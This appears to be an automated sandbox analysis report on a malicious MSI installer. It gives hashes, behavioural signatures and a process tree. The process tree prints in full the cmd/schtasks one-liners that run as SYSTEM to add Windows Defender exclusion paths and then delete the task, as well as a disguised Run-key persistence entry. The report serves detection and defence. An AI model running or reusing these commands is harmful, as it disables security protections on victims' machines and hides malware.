Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 04:07
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_upr010.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_upr010.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_upr010.msi
- Size 6.8MB
- Sample260803-eppqqs1zdx
- SHA256 2d6f51c5cb1934600cc2a7c2ff1aef873944c28651cf2c3595419604f9406249
- MD5 e6ec6aef89862dc42899c7dc1f7b6033
- SHA1 75ef765385fd713ee1373584d3056171277c9500
- SHA512 84193d3c04e860ddd46c0852d7b9e47015a6e93f3c195df00c11a2890564330a50045402f25c562c46d684cd3c4433e91bb09fdfd7730fef16be37e981bc0d10
- SSDEEP 196608:+jh5lxqmIN1qEjEjWBS6kVsPRGVLZ8WidV:urqLNPEcuSPRGVi1dV
- TLSH T1EE7633D179CB2BB1C59BDBB16147B86D3C2A7FC67D224D8A75AC76042E723292273340
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\560rRZ = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation b4makr.exe - Executes dropped EXE 1 IoCs
pid Process 556 b4makr.exe - Loads dropped DLL 2 IoCs
pid Process 1396 MsiExec.exe 556 b4makr.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\560rRZ\\b4makr.exe\"" b4makr.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 27 1396 MsiExec.exe 36 1396 MsiExec.exe 54 1396 MsiExec.exe 55 1396 MsiExec.exe 62 1396 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4340 cmd.exe 1280 cmd.exe 4444 cmd.exe 5076 cmd.exe 2600 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b b4makr.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e589575.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI96AD.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI973B.tmp msiexec.exe File created C:\Windows\Installer\e589577.msi msiexec.exe File opened for modification C:\Windows\Installer\e589575.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1148 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4864 cmd.exe 4168 cmd.exe 1664 cmd.exe 4652 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000524fef632b0bf5150000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000524fef630000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900524fef63000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a524fef63000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d524fef63000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_upr010.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "CE0A64DE0F8D429408FAD40FFBE3F015" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3736 schtasks.exe 4088 schtasks.exe 3896 schtasks.exe 1364 schtasks.exe 736 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2260 msiexec.exe 2260 msiexec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 1396 MsiExec.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe 556 b4makr.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1148 msiexec.exe Token: SeIncreaseQuotaPrivilege 1148 msiexec.exe Token: SeSecurityPrivilege 2260 msiexec.exe Token: SeCreateTokenPrivilege 1148 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1148 msiexec.exe Token: SeLockMemoryPrivilege 1148 msiexec.exe Token: SeIncreaseQuotaPrivilege 1148 msiexec.exe Token: SeMachineAccountPrivilege 1148 msiexec.exe Token: SeTcbPrivilege 1148 msiexec.exe Token: SeSecurityPrivilege 1148 msiexec.exe Token: SeTakeOwnershipPrivilege 1148 msiexec.exe Token: SeLoadDriverPrivilege 1148 msiexec.exe Token: SeSystemProfilePrivilege 1148 msiexec.exe Token: SeSystemtimePrivilege 1148 msiexec.exe Token: SeProfSingleProcessPrivilege 1148 msiexec.exe Token: SeIncBasePriorityPrivilege 1148 msiexec.exe Token: SeCreatePagefilePrivilege 1148 msiexec.exe Token: SeCreatePermanentPrivilege 1148 msiexec.exe Token: SeBackupPrivilege 1148 msiexec.exe Token: SeRestorePrivilege 1148 msiexec.exe Token: SeShutdownPrivilege 1148 msiexec.exe Token: SeDebugPrivilege 1148 msiexec.exe Token: SeAuditPrivilege 1148 msiexec.exe Token: SeSystemEnvironmentPrivilege 1148 msiexec.exe Token: SeChangeNotifyPrivilege 1148 msiexec.exe Token: SeRemoteShutdownPrivilege 1148 msiexec.exe Token: SeUndockPrivilege 1148 msiexec.exe Token: SeSyncAgentPrivilege 1148 msiexec.exe Token: SeEnableDelegationPrivilege 1148 msiexec.exe Token: SeManageVolumePrivilege 1148 msiexec.exe Token: SeImpersonatePrivilege 1148 msiexec.exe Token: SeCreateGlobalPrivilege 1148 msiexec.exe Token: SeBackupPrivilege 4248 vssvc.exe Token: SeRestorePrivilege 4248 vssvc.exe Token: SeAuditPrivilege 4248 vssvc.exe Token: SeBackupPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeBackupPrivilege 2436 srtasks.exe Token: SeRestorePrivilege 2436 srtasks.exe Token: SeSecurityPrivilege 2436 srtasks.exe Token: SeTakeOwnershipPrivilege 2436 srtasks.exe Token: SeBackupPrivilege 2436 srtasks.exe Token: SeRestorePrivilege 2436 srtasks.exe Token: SeSecurityPrivilege 2436 srtasks.exe Token: SeTakeOwnershipPrivilege 2436 srtasks.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe Token: SeTakeOwnershipPrivilege 2260 msiexec.exe Token: SeRestorePrivilege 2260 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1148 msiexec.exe 1148 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 2260 wrote to memory of 2436 2260 msiexec.exe 95 PID 2260 wrote to memory of 1396 2260 msiexec.exe 97 PID 556 wrote to memory of 4340 556 b4makr.exe 112 PID 4340 wrote to memory of 736 4340 cmd.exe 114 PID 556 wrote to memory of 1280 556 b4makr.exe 115 PID 4340 wrote to memory of 4792 4340 cmd.exe 117 PID 1280 wrote to memory of 3736 1280 cmd.exe 119 PID 4340 wrote to memory of 1020 4340 cmd.exe 120 PID 1280 wrote to memory of 2344 1280 cmd.exe 121 PID 1280 wrote to memory of 2420 1280 cmd.exe 122 PID 4652 wrote to memory of 4328 4652 cmd.exe 124 PID 556 wrote to memory of 4444 556 b4makr.exe 126 PID 4444 wrote to memory of 4088 4444 cmd.exe 129 PID 4444 wrote to memory of 4252 4444 cmd.exe 130 PID 4444 wrote to memory of 3560 4444 cmd.exe 133 PID 4864 wrote to memory of 756 4864 cmd.exe 134 PID 556 wrote to memory of 5076 556 b4makr.exe 136 PID 5076 wrote to memory of 3896 5076 cmd.exe 138 PID 5076 wrote to memory of 4636 5076 cmd.exe 139 PID 5076 wrote to memory of 3460 5076 cmd.exe 142 PID 4168 wrote to memory of 4304 4168 cmd.exe 143 PID 556 wrote to memory of 2600 556 b4makr.exe 144 PID 2600 wrote to memory of 1364 2600 cmd.exe 146 PID 2600 wrote to memory of 4164 2600 cmd.exe 147 PID 2600 wrote to memory of 3572 2600 cmd.exe 150 PID 1664 wrote to memory of 3060 1664 cmd.exe 151 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_upr010.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1148
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 46F9C443CCE0D1856ECAC8C5397CB30F E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1396
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4248
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C:\Users\Public\560rRZ\b4makr.exeC:\Users\Public\560rRZ\b4makr.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\560rRZ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\560rRZ\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:736
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4792
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3736
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2344
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4088
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4252
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3896
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4636
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1364
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4164
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3572
